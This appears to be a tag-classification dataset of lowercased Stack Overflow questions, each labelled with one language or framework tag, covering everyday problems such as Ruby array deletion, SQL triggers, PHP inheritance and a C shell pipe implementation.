delete_if is not working with array.  i am trying to delete certain elements from an array with .delete_if. for example  i want the following removed from the array   <blockquote>    [83] #[ cn=hhtest ou=users xxx dc=xxx dc=com ]    :cn=>[ hhtest ]  :sn=>[ test ]  :givenname=>[ hh ]    :memberof=>[ cn=sslvpn-users cn=users dc=xxx dc=com      cn=administrators cn=builtin dc=xxx dc=com ]    :userprincipalname=>[ hhtest@xxx.com ]}> ] ]  </blockquote>   i am trying to delete that with    <pre><code>  @ldap_result.delete_if { |cn| cn ==  hhtest  } </code></pre>   i ve tried other variations as well.  note - if i do a @ldap_result.class in my view  it returns `array     if i do     <code>@ldap_result.delete_if { |cn| cn !=  hhtest  }</code>    i end up with an empty array which seems counterintuitive.,ruby-on-rails
can t access global variables from python server  i am working on a small game server in python using the class <code>simplewebsocketserver</code> found <a href= https://github.com/opiate/simplewebsocketserver  rel= nofollow noreferrer >here</a>. everything works great  but the problem is each time i want to access a variable  i have to use <code>self.variable_name</code>. let me give an example.   <pre><code>class simpleecho(websocket):      times_played_since_reset    = 0      def handlemessage(self):         global times_played_since_reset         print times_played_since_reset </code></pre>   whenever i try accessing <code>times_played_since_reset</code> using global it doesn t work and the server quits. make it <code>self.times_played_since_reset</code> and everything works.    this variable needs affected by every client connected. unfortunately when i make it using self  only the client affects it s own instance. i need it to be where the client affects the class-wide variable instead of self.,python
is there a way in sql to dismiss an update in a trigger if some conditions are met   what i want to do is on update  when a trigger is excecuting  check if a condtion is met. if the condition is not met i want to dismiss the update that caused the trigger and prevent if from happaning.    for example: in a table with a  name (primary key) field and a  value  field. lets assume that the record (john  200) is already in the table i try to update the record to (john  140) in the trigger  i want to check if the given value (in this example 140) is lower than 185. if so  i don t want the value to be updated to 140  i want the vlaue to stay 200.    is there a way of doing that     thanks in advance!,sql
how to get a string without \n \t   in object -c  i get a string such as  \n\n\t\n\t <a href= http://www.stackoverflow.com >http://www.stackoverflow.com</a>  but what i want is the string  http://www.stackoverflow.com  how to get it,objective-c
how to get time x days ago from a specific date in rails   i am looking for a rails solution to calculate the time ago from a particulat time. for example   2 days ago 15th may 2016 22:00 utc should return 13th may 2016 22::00 utc .    my requirement is something like this    <pre><code>2.days.ago.from(yesterday)  </code></pre>   which will be a more specific version of    <pre><code>2.days.from_now </code></pre>,ruby-on-rails
how to set option value of dropdown as selected  i m using    <pre><code>var back_color =  #000000 ; var id = 1; var back_color =  #ffffff  jquery( #color +id+  option[value=back_color] ).attr( selected    selected ); </code></pre>   this is not working.,jquery
possible breakages of java code in future versions due to more zealous checks of statement reachability  it s well-known that java will not compile code that contains sections that are not reachable.    it s also well known (the halting problem ) that determining reachability is impossible.    it s also possible to speculate that as java compilers improve they will become better at determining reachability.    this creates a problem: it follows therefore that a new java compiler might fail to compile java code that previously worked. in other words  backward compatibility is not respected.    am i correct here  or am i missing something,java
find the index of the first coincidence in a list giving a starting position but backward  is there any pythonic way to find the first coincidence before a giving index     for example i want to find the <code>2</code> that go before the <code>1</code>  and the the <code>2</code> that go after the <code>1</code>.   <pre><code>a = [0 2 0 0 1 0 0 2 0] </code></pre>   for the <code>2</code> that go after the 1 i use this <code>a.index(2 4)</code>.     is there any easy or clean way to do it,python
auto increment manually  there is a table with an int field - field_1.<br> i want to insert a new row.<br> the field_1 value will be maximum value from all the entries plus one.<br> i ve tried:     <pre><code>insert into table (field names  `field_1`)  values (values   (select max(field_1) from table) );   </code></pre>   i get  0  in the field_1.<br> i know i can do it in separate queries. is there a way to perform this action with one query  i mean one call from php.      i have an auto-increment field  id  and i want to add  position  field.  i want to be able to make changes in position but the new item will always have highest position,mysql
digits after decimal point  how to get digits after decimal point from float number in objective c,objective-c
convert xml to stored procudure type of datatable  i am getting a datatable from a stored procedure from my db and then converting to xml and storing in a settings file.    <pre><code>dstableadapters.usp_getmydatatableadapter tamydata = new dstableadapters.usp_getmydatatableadapter(); ds.usp_getmydatadatatable dtmydata  = tamydata.getdata();  string xmlmydata; using (stringwriter sw = new stringwriter()) {     dtmydata.writexml(sw);     xmlmydata = sw.tostring(); } </code></pre>   this works fine.     seperately (if the user is not online) i want to read the settings file and use this instead. i can get the data into a standard datatable by   <pre><code>stringreader thereader = new stringreader(xmlmydata); dataset thedataset = new dataset(); thedataset.readxml(thereader); datatable mydt = thedataset.tables[0]; </code></pre>   but my problem is a cannot cast this into a ds.usp_getmydatadatatable type datatable. doing   <pre><code>dtmydata = (ds.usp_getmydatadatatable)mydt; </code></pre>   doesn t work. any ideas welcome.,c#
how can i upload text and image data in a single request to server objective c  i am using this dictionary but not able to upload.    <code>dictionary = @{     krequest: sign_in_owner      o_first_name: s_fname      o_middle_name: s_mname      o_last_name: s_lname      o_email_id: s_email      o_primary_no: s_pnum      o_alternative_no: s_anum      o_project: s_proj      o_block: s_block      o_flat: s_flat      o_total_sq_ft: s_square      o_flat_intercom_no: s_intercom      o_maintenance: s_maintenance};</code>    here is my rest of the code:   <pre><code>nsmutablearray* s_photo=[dictattributes objectforkey:kphoto]; isphoto=no; // the boundary string : a random string  that will not repeat in post data  to separate post data fields. nsstring *boundaryconstant = @ ----------v2ymhfg03ehbqgzcako6jy ;  // string constant for the post parameter  file . my server uses this name: `file`. your s may differ nsstring* fileparamconstant = @ photo[] ;  // the server url to which the image (or the media) is uploaded. use your server url here nsurl* requesturl = [nsurl urlwithstring:@ http://----- ];  // create request nsmutableurlrequest *request = [[nsmutableurlrequest alloc] init]; [request setcachepolicy:nsurlrequestreloadignoringlocalcachedata]; [request sethttpshouldhandlecookies:no]; [request settimeoutinterval:30]; [request sethttpmethod:@ post ];  // set content-type in http header nsstring *contenttype = [nsstring stringwithformat:@ multipart/form-data; boundary=%@   boundaryconstant]; [request setvalue:contenttype forhttpheaderfield: @ content-type ];  // post body nsmutabledata *body = [nsmutabledata data];  // add params (all params are strings) for (nsstring *param in dictionary) {      [body appenddata:[[nsstring stringwithformat:@ --%@\r\n   boundaryconstant] datausingencoding:nsutf8stringencoding]];     [body appenddata:[[nsstring stringwithformat:@ content-disposition: form-data; name=\ %@\ \r\n\r\n   param] datausingencoding:nsutf8stringencoding]];     [body appenddata:[[nsstring stringwithformat:@ %@\r\n   param] datausingencoding:nsutf8stringencoding]];  }  // add image data  if (s_photo) {     [body appenddata:[[nsstring stringwithformat:@ --%@\r\n   boundaryconstant] datausingencoding:nsutf8stringencoding]];     [body appenddata:[[nsstring stringwithformat:@ content-disposition: form-data; name=\ %@\ ; filename=\ image.jpg\ \r\n   fileparamconstant] datausingencoding:nsutf8stringencoding]];     [body appenddata:[@ content-type: image/jpeg\r\n\r\n  datausingencoding:nsutf8stringencoding]];     [body appenddata:[s_photo objectatindex:0]];     [body appenddata:[[nsstring stringwithformat:@ \r\n ] datausingencoding:nsutf8stringencoding]];  }   [body appenddata:[[nsstring stringwithformat:@ --%@--\r\n   boundaryconstant] datausingencoding:nsutf8stringencoding]];   // setting the body of the post to the reqeust  [request sethttpbody:body];   // set the content-length  nsstring *postlength = [nsstring stringwithformat:@ %lu   (unsigned long)[body length]];  [request setvalue:postlength forhttpheaderfield:@ content-length ];    // set url  [request seturl:requesturl]; </code></pre>,objective-c
ruby on rails user list columns  i was wondering how i could go about creating a list of users four columns wide     right now each user is just printed on a single row with a division.    thank you.,ruby-on-rails
call function in another extends class  <strong>call function in a class which extends another class.</strong>    <hr>   i need to call a function in my class s parent class. here is my code:   <hr>  <pre><code>&lt; php  class parents {      function parentfun()     {         $name =  hello dear ;         } }  class child extends parents {     function newtest(){         $extendfun = new parents;         return $extendfun-&gt;parentfun();     } }  $result = new child;  echo $result-&gt;newtest(); </code></pre>   <strong>thanks in advance..</strong>,php
accessing multi dimensional array object in php  i have an item object in php  which has the following structure on var_dump :    <pre><code>$item-&gt;properties:  array (size=1)   1 =&gt;      array (size=4)        key1  =&gt; string  value1  (length=6)        key2  =&gt; int 1        key3  =&gt; string  true  (length=4)        key4  =&gt; string  true  (length=4) </code></pre>   i want to access key  value in a foreach loop and assign key  value pair to some internal variables  however when i am using the foloowing code to loop pver array of array  i am getting error in accessing the values in the way i want. here is what i am doing :    <pre><code>        foreach($item-&gt;properties as $property) {             foreach($property as $value) {                 echo $value;             }         } </code></pre>   anyone have an idea what am i doing wrong  and how can i fix that,php
how do i find whether a column exists is any other table  i would like to know how we can find a particular column exists in other tables in sql. i found the existence in stored procedures using the following query   <pre><code>select * routine_name  routine_definition routine_type from information_schema.routines  where routine_definition like  %mycolumnname%   </code></pre>   how do i check the same for existence in tables,sql
getting digits from the beginning of a number c#  i want to get digits of a long number one by one  sequentially starting from the beginning of the number. i want to do that by using while  for or if. any idea,c#
how to get the pythonpath in shell  <pre><code>debian@debian:~$ echo $pythonpath   /home/qiime/lib/:   debian@debian:~$ python   python 2.7.3 (default  jan  2 2013  16:53:07)    [gcc 4.7.2] on linux2   type  help    copyright    credits  or  license  for more information.   &gt;&gt;&gt; import sys   &gt;&gt;&gt; sys.path   [     /usr/local/lib/python2.7/dist-packages/feedparser-5.1.3-py2.7.egg       /usr/local/lib/python2.7/dist-packages/stripogram-1.5-py2.7.egg    /home/qiime/lib     /home/debian    /usr/lib/python2.7    /usr/lib/python2.7/plat-linux2       /usr/lib/python2.7/lib-tk    /usr/lib/python2.7/lib-old    /usr/lib/python2.7/lib- dynload      /usr/local/lib/python2.7/dist-packages    /usr/lib/python2.7/dist-packages     /usr/lib/python2.7/dist-packages/pil    /usr/lib/python2.7/dist-packages/gst-0.10      /usr/lib/python2.7/dist-packages/gtk-2.0    /usr/lib/pymodules/python2.7 ]     </code></pre>   how can i get all of pythonpath output in the bash <br> why  <code>echo  $pythonpath</code> can not get all of them,python
x64_mingw  is not a valid platform  when i run <strong>rails new</strong> app command the process stops at bundle giving me the above error. i have ruby 2.0.0p195  rails 4.2.0.beta4. i m trying to follow on michael hartl s tutorial. the command worked fine i think until i installed this version of rails... i tried to uninstall it but it looks like gem uninstall does not want to work. what should i do,ruby-on-rails
how to return quantity of repeated values in this case   in mysql  i have the following table  log :   <pre><code>id_user       cod          info   1            a        random_info1   1            a        random_info1   1            a        random_info1   1            a        random_info2   1            b        random_info2   1            b        random_info2   1            b        random_info3   1            b        random_info3   2            a        random_info4   2            a        random_info4   2            b        random_info5   2            b        random_info5   2            b        random_info5   2            b        random_info6 </code></pre>   with this query:   <pre><code>select   id_user    sum(cod =  a ) as a    sum(cod =  b ) as b from   log group by   id_user </code></pre>   i get the quantity that each  cod  appears for each  id_user:   <pre><code>id_user        a       b   1            4       4   2            2       4 </code></pre>   now  plus the previous result  i need the number of times a value in  info  that we ve already seen appears again  for each  cod   like:   <pre><code>id_user        a       b       a_repeated       b_repeated   1            4       4          2                2   2            2       4          1                2 </code></pre>   a_repeated of id_user =  1  is 2 because random_info1 appears twice after its first appearance.    b_repeated of id_user =  1  is 2 because random_info2 and random_info3 appear once (each) their first appearance.    what changes i need to do in my query to get these results,mysql
how to expand html multiple select box when clicked  is it possible to get a multiple select box to behave like a select box in the following way:  only show selection box (1 row) and expand when clicked    <pre><code>&lt;select multiple&gt;   &lt;option value= volvo &gt;volvo&lt;/option&gt;   &lt;option value= saab &gt;saab&lt;/option&gt;   &lt;option value= mercedes &gt;mercedes&lt;/option&gt;   &lt;option value= audi &gt;audi&lt;/option&gt; &lt;/select&gt; </code></pre>   but i only want to see the empty 1 row select box until clicked and then have it expand as a dropdown with scroll bar if needed,html
change connection string based on app location  how can i change the connection string to my entity framework database  based on if it is debugging locally  or on the server. i want to use the internal ip address of the database when it is on the server to hopefully increase performance. i am hoping i will not have to change the connection string every time i want to publish the site. i am using visual studo 11. i have not tried anything because i am not sure what the options are. i have been deploying to file system  but i will be doing web deploy in the near future.,c#
mysql alter table not actually altering the table  i m running an alter table command to change the character set and collation of a table  but it doesn t look like it s working.  the command runs without an error  but the table never actually updates:     <pre class= lang-js prettyprint-override ><code>mysql&gt; show create table users; --------------------------------------------------------------+ | users | create table `users` (   `id` int(10) not null auto_increment    `id_deprecated` int(11) not null default  0     `email` varchar(191) character set utf8mb4 collate utf8mb4_unicode_ci default null    primary key (`id`)    unique key `index_users_on_email` (`email`)    key `id_deprecated` (`id_deprecated`)  ) engine=innodb auto_increment=824 default charset=utf8 collate=utf8_unicode_ci | +-------+ 1 row in set (0.05 sec)   mysql&gt; alter table users convert to character set utf8mb4 collate utf8mb4_unicode_ci; query ok  0 rows affected (0.06 sec) records: 0  duplicates: 0  warnings: 0   mysql&gt; show create table users; --------------------------------------------------------------+ | users | create table `users` (   `id` int(10) not null auto_increment    `id_deprecated` int(11) not null default  0     `email` varchar(191) character set utf8mb4 collate utf8mb4_unicode_ci default null    primary key (`id`)    unique key `index_users_on_email` (`email`)    key `id_deprecated` (`id_deprecated`)  ) engine=innodb auto_increment=824 default charset=utf8 collate=utf8_unicode_ci | +-------+ 1 row in set (0.05 sec) </code></pre>     any idea why this would be,mysql
is define code: vector<int> intvector will call default constructor and is same with vector<int> intvector()   code one:   <pre><code>vector&lt;int&gt; *intvector=new vector&lt;int&gt;(); </code></pre>   code two:   <pre><code>vector&lt;int&gt; *intvector=new vector&lt;int&gt;; </code></pre>   code three:   <pre><code>vector&lt;int&gt; intvector();//compile error  </code></pre>   code four:   <pre><code>vector&lt;int&gt; intvector;   </code></pre>   my questions:    (1) is  vector intvector   call default constructor <br> (2) when code 1 is similar with code 2   why code 3 compiled error,c++
programatically setting third statement of for loop  wondering if there is by any chance to programatically setting third statement of forloop   <pre><code>var conditionprogramatically =  i++ ;//or  x--   for (var i = 0; i &lt; 10; conditionprogramatically) {   console.log(i) } </code></pre>,javascript
sql limit not working: what is the right syntax   i have a simple question  and i am sorry in advance if this is too basic. i am connecting to a remote database using   <pre><code>import pyodbc import pandas as pd import numpy as np  cnxn = pyodbc.connect( dsn=mydsn ) </code></pre>   and i am able to pull some data using   <pre><code>sql =  select * from master.prices  dataframe = pd.read_sql(sql  cnxn) </code></pre>   however  using the query   <pre><code>sql =  select * from master.prices limit 10  sql =  select * from master.prices where rownum &lt;= 10  </code></pre>   give an error such as   <blockquote>    unable to parse query text:  incorrect syntax near  select   found    10 .  </blockquote>   for the first query.    my questions are:    <ul> <li>without further information about the database  how can i know what is the right syntax for a limit statement  </li> <li>how can i even know what kind of database i am accessing </li> </ul>   thanks!,sql
how can i round up a percentage with angularjs   i want to show the result of a test:   <pre><code>&lt;span&gt;{{test.correctcount / test.questions}}&lt;/span&gt;% </code></pre>   but how can i show this as an integer number correctly rounded,angularjs
retrieving all the column names with a specific value  i m trying to write query which should return the column names which has specific value    for example   <pre><code>column_1 column_2    column_3   column_4  column_5  column_6 good     good        good       very good very good bad </code></pre>   i ve to get the column names whose values are good and very good    thanks,sql
sorting a list box using check or unchecked  i am using a checked list box in my project c#.net windows application.    i want to sort the list box such that checked items should come first and unchecked displays after it.    how can i do it   any code to do it,.net
develop a .net 3.5 dll load it into a 4.0 project - will this cause problems   i am developing an arctools .net 3.5 c# dll to be loaded by a .net 4.0 application.  will this cause problems,.net
design choice for android app  i am new to android (but proficient in programming) and i have been reading the google <a href= https://developer.android.com/jetpack/docs/guide  rel= nofollow noreferrer >documentation</a>.      i am trying to build a small app  just to get familiar with android (not a very fancy app  just for learning app dev). the app would have an initial activity containing a list of items  and the user can view them (through another activity)  edit them (again another activity) or create new ones (again another activity). my concern is how to store this list of items in the phone. i do not intend (at the moment) for the app to be synced with any external service  so i am happy to store all the data in a file. typically i would be looking at 200 items of small size  so a text file (maybe xml or json) would be enough i think (sql would probably be overkill here).    my question is: if i have an xml file with all the items  do i need to parse it and load it in memory for every activity  for example:    <ol> <li>the user enters the app to see the list of items -> must load the xml</li> <li>the user wants to add a new item-> i need to load the xml again to be able to add an xml child</li> </ol>   is this the most natural way of doing this in android  having to load the same resource over and over in each activity     thanks,android
submitting instance of class as a parameter  say i had the following code   <pre><code>class a {           int x = 4;     public void x() {          /* */          b myb = new b(/*paramter here*/);     } } </code></pre>   is it possible to submit the current instance of a as a paramter to the constructor of b,java
is it possible to turn off drawing the ui during the next run loop cycle   is there any way i can temporarily disable the drawing of the ui (and the progression of animations and other related things)     i have a notification system which coalesces notifications  so that multiple notifications which happen in a single run loop cycle are coalesced into one for the interested party  kind of like how <code>setneedsdisplay</code> can be called any number of times in a single cycle  but the drawing only happens once.    the problem is  the way i m coalescing notifications is to schedule the forward notification on the next run loop  and skip new updates in the meantime  kind of like this:   <pre><code>private var startedcoalescingupdates = false  func receivenotification() {     guard startedcoalescingupdates == false else {         return     }      startedcoalescingupdates = true      operationqueue.main.addoperation {         self.setforwardnotification = false          self.delegate.updateoccurred()     } } </code></pre>   notifications can be chained together  so that one notification triggers another notification  which can trigger another  etc.    because <code>operationqueue.main.addoperation</code> happens on the next cycle (or at least it does if i call it from another block which was scheduled in <code>addoperation</code>)  some ui drawing occurs whilst the notifications propagate. the ui can show several frames which look incorrect; i d rather not draw the ui or respond to events  etc  until the notifications are all done  in order for all the data to be fully ready before its drawn for the first time. i d probably do something like:   <pre><code>private var startedcoalescingupdates = false  func receivenotification() {     guard startedcoalescingupdates == false else {         return     }      startedcoalescingupdates = true      //////     stopdrawingui()     //////      operationqueue.main.addoperation {         self.setforwardnotification = false          //////         resumedrawingui()         //////          self.delegate.updateoccurred()     } } </code></pre>   is this possible,ios
how to exit from $.each function when condition met  how can i exit from <code>$.each</code> loop when a condition is met  i don t want to iterate the collection further.   <pre><code>$(vehicles).each(function() {     if (this[ @id ] === vehicleid[0]) {       vehicle = this;     } }); </code></pre>   i tried with <code>break;</code> &amp; <code>return;</code> statement but it looks the execution doesn t not stop at that point. any idea would be greatly appreciated.,jquery
weird networkonmainthread exception  i m new to android  please halp.    this is a really simple scenario  there s an actionbar  and when a tab is selected  i need to send an http request to get an article list  when the response arrives  update a listview and here s where i got this exception.     i m aware that i should isolate network operations from ui thread  so i implement the network functions in an asynctask class.    the most weird part is  before i try to get the article list  i have actually called a network function once to log in  and that just works fine  no exceptions! and guess what  if i replace the get article list call with log in call  it works fine  too. all the code are just the same  except the arguments differ.    here s how i do it  since too many modules will use the network module  i use a static wrapper:    ui -> static factory -> new asynctask -> response arrives -> call static callback function in static factory -> call callback function in ui    asynctask doinbackground   <pre><code>@override protected httpresponse doinbackground(string... params) {     // todo auto-generated method stub     string uri = params[0];     httpget get = new httpget(uri);     try {         return _client.execute(get);     }     catch(exception e) {         e.printstacktrace();         return null;     }    } </code></pre>   asynctask post execute   <pre><code>    @override     protected void onpostexecute(httpresponse result) {         //do something with result         if (result != null) {             try {                 jsonobject json = formjsonfromresponse();                 command.ontaskcomplete(json);             } catch (exception e) {                 // todo auto-generated catch block                 e.printstacktrace();             }         }      } </code></pre>   static wrapper code:   <pre><code>@override     public static void ontaskcomplete(jsonobject json) {         // todo auto-generated method stub         if(_callback != null) {             _callback.oncommandcomplete(json);         }     } </code></pre>   here s how i call asynctask in static wrapper:   <pre><code>public static void login(string user  string pass) {     new networktask().execute(_uriprefix + login  _user  _pass); } </code></pre>,android
how to position div so that its bottom aligns with the top of its containing div  trying to use css to position a div such that:    a) it appears outside of its containing <code>div</code> (which i can do) and      b) the bottom edge of the <code>div</code> is adjacent to the top edge of its containing <code>div</code> (which i m struggling with).    visually  the end result should be that the div appears to be sitting on top of its containing <code>div</code>  like the following diagram:    <img src= https://i.stack.imgur.com/jwu1h.png  alt= enter image description here >    note: the height of <code>div</code>  a  in the diagram varies based on its content  so setting its  top  property to  -150px  or some other negative constant won t work. i m also trying to avoid js  but will use it if i can t achieve this with css alone.    sample code:   <pre><code>&lt;body&gt;     &lt;div id= div-b  style=           position: absolute;          top: 200px;          left: 200px;          height: 200px;          width: 200px;          background: red;           &gt;         &lt;div id= div-a  style=           width: 150px;          background: green;           &gt;             this is a bunch of text. this is a bunch of text. this is a bunch of text. this is a bunch of text. this is a bunch of text. this is a bunch of text.         &lt;/div&gt;      &lt;/div&gt; &lt;/body&gt; </code></pre>   thanks!,css
a problem with object member  i ve got a problem in a c++ program that i can t solve. i m trying to pass an object as a construction parameter of an other but i can t figure out how to do this.    my main is creating a simulation object. in simulation i m creating two objects a planete and a modelisation. the thing is  i want to pass the planete object in the modelisation object.    my first object is simulation.   <pre><code>#include  simulation.h  #include  modelisation.h  #include  planete.h   planete *obj; modelisation *model;  simulation::simulation (int argc  char **argv) {     obj = new planete ( terre   (5.98*pow(10.0 24.0))  6378.137  0  0  0);     model = new modelisation (argc  argv  modelisation  1600  1004  306  0); }; simulation::~simulation () {     delete obj;     delete model; }; </code></pre>   modelisation.h   <pre><code>class modelisation { private:     int hauteur  largeur  x  y;     int fenetre;     //planete cloneplanete public:     modelisation (int argc  char **argv  char[]  int  int  int  int);     ~modelisation ();     static void dessiner ();     static void redessiner (int  int);     void initcallback (); }; </code></pre>   modelisation.cpp   <pre><code>#include  stdafx.h  #include  modelisation.h  #include  camera.h  #include  planete.h   camera *camera;  modelisation::modelisation (int argc  char **argv  char nomfenetre []  int hauteur  int largeur  int x  int y) {      glutinit (&amp;argc  argv);     glutinitdisplaymode (glut_single);     glutinitwindowsize (hauteur  largeur);     glutinitwindowposition (x  y);     fenetre = glutcreatewindow (nomfenetre);     camera = new camera; //  planete cloneplanete = new planete(planete);  // basicaly that s what i m trying to do };  modelisation::~modelisation () {     delete camera; }; </code></pre>   planete.h   <pre><code>class planete { private:     std::string nom;     double masse;     double diametre;     struct position { double x  y  z;};     double x y z;  public:     planete (std::string nom  double masse  double diametre  double x  double y  double z);     planete (const planete &amp;);     ~planete (); }; </code></pre>   thanks for your help  it will be very appreciated!,c++
how to get text after selected parameter in php  so basically i have a .txt file with over thousands of rows such as:   <pre><code>badge_name_xxx=name goes here  badge_desc_xxx=text goes here  badge_name_xox=you get the drift  badge_desc_xox=do you understand  </code></pre>   so what i m trying to do is grab the text after the <code>=</code> so that i can echo it. i ve tried things such as:   <pre><code>$file =  /game/gamedata/external_flash_texts.txt ; $badge =  xox ; $f = fopen($file   rb ); $found = false; while ($line = fgets($f  1000)) {     if ($found) {        echo $line;        continue;     }     if (strpos($line   badge_name_  . $badge .  = ) !== false) {       $found = true;       echo $found;     } } </code></pre>   i ve also tried   <pre><code>$data = file_get_contents( /game/gamedata/external_flash_texts.txt );  $badge=  adm ;    $whatiwant = substr($badge  strpos($data   = ) + 1);     echo $whatiwant;  </code></pre>   and many other methods  but can t seem to find one that works. the location of this php script is in the root folder  and the .txt file is located in the directory in the script. what am i doing wrong  i m convinced i m not approaching this the right way.,php
how can i add this script in php  am trying to find out how to add this script to my php file   as i try echo it  its not working.    am sure there is a way to add this  its my first time adding these scripts to php file  maybe il learn something today and remmeber it thanks.   <pre><code>var counter = 1; var auto_refresh = setinterval( function () {     var newcontent=  refresh nr: +counter;     $( #divid ).html(newcontent);     counter++; }  5000); </code></pre>   and the html div  this is not needed to add to php as i have own div in php file   <pre><code>&lt;div id= divid &gt;&lt;/div&gt; </code></pre>,php
how do you tell if an object file was created with gnu or some other compiler   i think this should be a simple question  but i can t find the answer.    i am having an issue with loading a ruby c++ extension that links with precompiled .a library. i think the issue is that i complied the extension using g++   but i think the .a library was compiled using xlc. i am assuming that would be a problem  right  how can i confirm this   is there a way to tell which compiler created each object file  i tried looking at obj dump   but i could not find any thing that would directly tell me if the two objects were created with different compilers or not.,c++
how to decrement work in java script for loop   below java script loop for increment is working but for decrement not work  how to solve this think    <pre><code>for(var i=1; i&lt;5; i++) { alert(i); } work fine  for(var i=10; i&lt;5; i--) { alert(i); } not working </code></pre>,javascript
how can i create a move attr constructor inside a class   i m trying to create a move attribute constructor in my class.     my class is a date class.it has this attributes: day  month and year. like this:   <pre><code>private:      int day;      int month;      int year; </code></pre>   i m trying to call like this:   <pre><code> date&amp; date::operator =(date&amp;&amp; data) {    day = data.day;    month = data.month;    year = data.year;     data.day = 0; data.month = 0; data.year = 0;    return *this; } </code></pre>   in my date.h   <pre><code> date&amp; date::operator =(date&amp;&amp; data); </code></pre>   errors: - extra qualification  date::  on member  operator=  in date.h - expected     or  ...  before  &amp;&amp;  token whats is wrong     thanks,c++
multipiping implementation with file descriptor limitation not working properly. (shell)  i m actually working on the implementation of multipipes in a shell and i must say i m having  some problems resolving issues i ve encountered in the project.    one particular detail makes this multipipe implementation quite hard  it must work with a very low limit on files descriptors.     for example if you enter the command  limit descriptors 10  on bash or tcsh you can still run a very long command like  ls|cat|cat|cat|cat|cat|cat|cat|cat|cat|cat|cat|cat|wc  without having any error messages or broken pipe.     my multipipe must do the same.    i ve been working on this issue and came up with a a few different versions. the last one seems to work partially but doesn t conform to the display of a real shell. what i have  done is creat a tree that execute the line of command  cat|ls|wc .    in a real shell the  wc  should display it s result and then  cat  should be waiting to receive one user input before quitting.    in my version the  cat  loop appears first waiting for the users imput before having wc display it s results and quitting.    my  wc  displays the good results it just seems that it s execution is delayed. it s as though it s waiting to receive a signal from a pipe or something else... i can t figure out why  wc  isn t displayed instantly i m maybe not closing  or duping a pipe correctly       you ll find my code following these lines.    thanks in advance for any help or tips you can give me.   <pre><code>#include &lt;unistd.h&gt; #include &lt;stdlib.h&gt; #include &lt;errno.h&gt; #include &lt;sys/resource.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/wait.h&gt;  #define pipe    1 #define cmd 2 typedef struct  s_tree {   char      *cmd;   int       fd[2];   char      type;   struct s_tree *left;   struct s_tree *right;   struct s_tree *parent; }       t_tree;  /* static void test_tree(t_tree *tree) {   if (tree == null)     {       printf( null\n );       return ;     }   if (tree-&gt;type == pipe)     printf( type pipe\n );   else if (tree-&gt;type == cmd)     printf( type cmd : %s\n   tree-&gt;cmd);   if (tree-&gt;left != null)     {       printf( gauche\n );       test_tree(tree-&gt;left);     }   if (tree-&gt;right != null)     {       printf( droite\n );       test_tree(tree-&gt;right);     } } */  void    my_exit(int value) {   fprintf(stderr   exiting %d\n   value);   perror(null);   exit(value); }  int execute_cmd(t_tree *tree) {   if (execlp(tree-&gt;cmd  tree-&gt;cmd  null) &lt; 0)     my_exit(11);   return (0); }  int execute_pipe(t_tree *tree) {   int   statusleft;   int   statusright;   pid_t pidright;   pid_t pidleft;   int   fd[2];    if (pipe(fd) &lt; 0)     my_exit(1);   if ((pidleft = fork()) &lt; 0)     my_exit(2);   if (pidleft == 0)     {       if (close(fd[1]) &lt; 0       || close(0) &lt; 0)     my_exit(3);       if (dup2(fd[0]  0) &lt; 0)     my_exit(4);       if (tree-&gt;left-&gt;type == pipe)     return (execute_pipe(tree-&gt;left));       else if (tree-&gt;left-&gt;type == cmd)     return (execute_cmd(tree-&gt;left));     }   else     {       if (close(fd[0]) &lt; 0       || close(1) &lt; 0)     my_exit(6);       if ((pidright = fork()) &lt; 0)     my_exit(5);       if (pidright == 0)     {       if (dup2(fd[1]  1) &lt; 0)         my_exit(7);       if (tree-&gt;right-&gt;type == pipe)         return (execute_pipe(tree-&gt;right));       else if (tree-&gt;right-&gt;type == cmd)         return (execute_cmd(tree-&gt;right));     }       else     {       if (close(fd[1]) &lt; 0           || close(0) &lt; 0)         my_exit(8);       if (waitpid(pidright  &amp;statusright  0) &lt; 0)         my_exit(9);     }       if (waitpid(pidleft  &amp;statusleft  0) &lt; 0)     my_exit(10);     }   return (0); }  /* **                  pipe **                  /\ **                 /  \ **                /    \ **              wc     pipe **                     /\ **                    /  \ **                   /    \ **                 ls     cat ** ** cat | ls | wc */  int     main(int ac  char **av) {   t_tree    *tree;    tree = malloc(sizeof(*tree));   tree-&gt;left = malloc(sizeof(*tree));   tree-&gt;right = malloc(sizeof(*tree));   tree-&gt;right-&gt;left = malloc(sizeof(*tree));   tree-&gt;right-&gt;right = malloc(sizeof(*tree));   tree-&gt;type = pipe;   tree-&gt;left-&gt;right = null;   tree-&gt;left-&gt;left = null;   tree-&gt;left-&gt;type = cmd;   tree-&gt;left-&gt;cmd = malloc(strlen( /usr/bin/wc ) + 1);   strcpy(tree-&gt;left-&gt;cmd   /usr/bin/wc );   tree-&gt;right-&gt;type = pipe;   tree-&gt;right-&gt;left-&gt;right = null;   tree-&gt;right-&gt;left-&gt;left = null;   tree-&gt;right-&gt;left-&gt;type = cmd;   tree-&gt;right-&gt;left-&gt;cmd = malloc(strlen( /bin/ls ) + 1);   strcpy(tree-&gt;right-&gt;left-&gt;cmd   /bin/ls );   tree-&gt;right-&gt;right-&gt;left = null;   tree-&gt;right-&gt;right-&gt;left = null;   tree-&gt;right-&gt;right-&gt;type = cmd;   tree-&gt;right-&gt;right-&gt;cmd = malloc(strlen( /bin/cat ) + 1);   strcpy(tree-&gt;right-&gt;right-&gt;cmd   /bin/cat );   tree-&gt;parent = null;   tree-&gt;left-&gt;parent = tree;   tree-&gt;right-&gt;parent = tree;   tree-&gt;right-&gt;left-&gt;parent = tree-&gt;right;   tree-&gt;right-&gt;right-&gt;parent = tree-&gt;right;   /*test_tree(tree);*/   return (execute_pipe(tree)); } </code></pre>,c
want to show country flag with visitor count asp.net  in my asp.net form i want to show country flag along with current visitor count. when user visit our site from usa then usa flag count will be increase by one and when the same user close his browser or go to another site then count will be decrease. please give me the best logic to show current visitor count country wise along with country flag. need help. thanks,asp.net
